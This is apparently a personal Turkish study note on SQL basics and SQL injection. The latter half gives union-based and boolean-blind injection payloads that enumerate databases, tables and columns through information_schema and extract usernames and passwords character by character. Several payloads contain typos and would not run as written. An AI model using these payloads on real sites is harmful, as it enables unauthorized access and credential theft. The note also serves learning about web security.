Sql komutları :
select : sorgu gönderirimi
union : birleştirme ifadesi birden fazla tablonun içeriğine ulaşmamızı tek bir noktada buluşturmamızı sağlayan komut.
insert : tabloya veri eklemek için
update : tabloda var olan bir değerin güncellenmesi.
delete: tabloada ki içeriği silme

örnek komutlar ve anlamları.

select * from users; : sağdan sola okuyoruz. users tablosundan tüm sütünları getir.
select username , password from users ; : users tabloasundan sadece username ve paswd sütünlarını getir.
select * from users where username='admin' ; users tablosunu içerisinden sadece username adı admin ile eşleşen kullanıcıları getir.
select * from users where username='admin' or username='job';

or: veya

and : ve
select * from users where usernmae='admin' and password='şifre';
burada kullanıcı adı admin ve şifresi şifre olan bilgileri çek dedik.

SELECT il , ilçe, posta , ev from adres UNİON SELECT username , passwd from kullanıcı; :
burada 2 database içinden sütünlerimi çektik.
delete from users ; : users datasını siler.

Error Based Tabanlı sql de ; url.com//id=2 UNİON SELECT 10,20,30 : burada ilk kaç tane colum var ona bakıyoruz. Database ismi öğrenmek için sayıların yerine database() yazabiliriz.
Tablo isimlerini tespit etmemiz için de database yerine = **group_concat(table_name) FROM information_schema.tables WHERE table_schema ='bulduğum_database_adı'**
Bunun anlamı öncelikle her web sitesinde information schema vardır bu databasede , site içinde tüm tablolar sütünler datalar gibi bilgiler vardır, toncat komutu ilede bilgi çekmeye çalışıyoruz , payloadı çalıştırırsak bize tabloları verecektir. Şimdi kolumları sütünları bulmamız gerekiyor bu sefer payloadı değiştiriyoruz

group_concat(column_name) FROM information_schema.columns WHERE table_name ='kullanıcı_bilgileri' : bu payloadı çalıştırdığımızda kullanıcı_bilgileri tablosunda sütünleri getirir örneğin ; kullanıcı adı , şifre , mail vb.
Sütün içi bilgileri ççekmek için ise
group_concat(user,':' , şifre) FROM tablo_adı ve bilgileri çekmiş olucaz.

Boolen blind sql injection : burada database adını öğrenmek için
UNİON SELECT 1,2,3 where database() 's%';-- :
bu kodun mantığı database ismini bulmakla geçiyor % başına yazdığımız s , database adı s ile mi başlıyor demek eğer enterlarsak true döner değilse false true dönerse s ile başlayıp devam edebiliriz sq gibi bu sefer. eğer sql gibi artı olası düşündüğüm database olup olmadığını kontrol etmek için ise % kaldırıyoruz.

bu kez tabloyu bulmak için ise **admin' UNİON SELECT 1,2,3 FROM information_schema.tables WHERE table.schema = 'sql'and table_name like '%';-- :**

buu sefer tablo adını öğrenmeye çalışıyoruz aynı işlemden geçiriyoruz. Bulursak da zaten ... table_name 'user';-- ile devam edeeriz.
tablo ismini ve data ismini öğrendiğimize göre tek columlar kaldı

admin' UNİON SELECT 1,2,3 FROM information.schema.columns WHERE table.schema='sql' and table_name='user' and column_name like '%';-- :
eğer id adında veya herhangi bir colum bulduğumuzda onu not alıp bir daha sorguda onu göstememesini istemiyorsak şunu yapmamız gerekicek.

admin' UNİON SELECT 1,2,3 FROM information.schema.column WHERE table.schema='sql' and table_name='user' and column_name like '%' and column_name !='id' ;--

ve örnek vereyim username password id adında 3 colum bulduk. Bunları çekme adımlarına gelelim. Yinde deneme yanılma olarak ilerlicez.

admin' UNİON SELECT 1,2,3 from users where username like 'a%'; -- : örneğin böyle a ad adm admi admin olarak tek tek denencek parolada aynı şekil ama sıra adımlarla yapıcaz
admin' UNİON SELECT 1,2,3 from users where username='admin' and password like 'ş%';-- : bunuda ş şi şif şifr şifre gibi deniyoruzzz.